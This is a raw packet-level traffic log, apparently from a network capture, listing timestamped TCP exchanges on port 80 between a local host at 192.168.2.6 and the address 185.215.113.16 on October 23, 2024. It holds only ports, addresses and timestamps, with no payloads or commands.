Oct 23, 2024 17:51:29.543771982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.543786049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.543800116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.543813944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.543823957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.543828964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.543848038 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.544064045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.544086933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.544105053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.544116020 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.544130087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.544141054 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.544146061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.544179916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.544254065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.544270039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.544286013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.544300079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.544315100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.544323921 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.544323921 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.544331074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.544347048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.544361115 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.544374943 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.544378042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.544403076 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.545151949 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.594871998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.594899893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.594913006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.594966888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595087051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595103025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595118046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595127106 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595133066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595148087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595149994 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595164061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595179081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595194101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595201969 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595208883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595222950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595226049 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595240116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595243931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595278025 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595288038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595304012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595331907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595346928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595360994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595372915 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595377922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595393896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595396996 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595417023 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595422029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595446110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595460892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595474005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595483065 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595489025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595504999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595504999 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595521927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595529079 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595549107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595565081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595571995 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595580101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595594883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595611095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595613956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595628977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595637083 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595645905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595659971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595662117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595676899 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595691919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595700979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595716953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595727921 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595733881 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595750093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595774889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595776081 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595791101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595808983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595824003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595829964 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595840931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595853090 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595856905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595875025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595879078 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595890045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595917940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595923901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595943928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595959902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595974922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.595985889 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.595989943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596000910 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596004963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596025944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596028090 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596040964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596055984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596060991 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596072912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596096039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596112967 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596113920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596129894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596132994 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596153021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596167088 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596168041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596184969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596221924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596230030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596242905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596251011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596266031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596266985 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596282959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596292973 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596297979 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596314907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596329927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596338987 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596347094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596363068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596370935 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596380949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596395969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596411943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596419096 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596430063 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596437931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596445084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596458912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596462011 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596477032 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596492052 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596502066 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596508026 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596524000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596529961 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596543074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596558094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596563101 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596575022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596589088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596604109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596607924 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596612930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596628904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596643925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596668005 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596668005 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596698046 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596752882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596779108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596792936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596808910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596824884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596833944 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596838951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596854925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596862078 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596870899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596872091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596889019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596904039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596919060 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596942902 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.596944094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596961975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596977949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.596997023 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.611021042 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.627429008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.627471924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.627486944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.627677917 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.627677917 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.661560059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.661757946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.661780119 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.661794901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.661811113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.661824942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.661850929 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.661864996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.661880016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.661894083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.661925077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.661925077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.661925077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.661925077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.661950111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.661966085 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.661984921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.661992073 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662009954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662014008 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662025928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662043095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662055969 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662060022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662075996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662081957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662091017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662106037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662122965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662128925 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662152052 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662154913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662178993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662204027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662216902 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662218094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662235022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662241936 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662250996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662266970 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662276983 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662281990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662297964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662313938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662322044 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662331104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662343979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662353992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662369967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662385941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662394047 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662403107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662415981 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662419081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662435055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662441969 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662451029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662473917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662483931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662499905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662514925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662516117 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662532091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662547112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662554979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662561893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662578106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662592888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662599087 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662612915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662625074 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662640095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662647963 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662669897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662684917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662702084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662709951 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662725925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662739992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662745953 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662753105 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662767887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662782907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662782907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662797928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662807941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662815094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662832975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662834883 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662848949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662878036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662894011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662906885 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662909031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662916899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662925959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662941933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662945986 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662957907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662972927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.662987947 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.662987947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663003922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663011074 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.663021088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663034916 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663047075 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.663052082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663069010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663073063 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.663084984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663100004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663115025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663115978 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.663131952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663139105 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.663151026 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663166046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663167953 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.663183928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663198948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663214922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663223982 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.663230896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663244009 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.663249016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663264036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663274050 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.663280010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663295031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663300037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.663311005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663336992 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.663337946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663356066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663371086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663387060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663400888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663417101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.663420916 CEST	49763	80	192.168.2.6	185.215.113.16
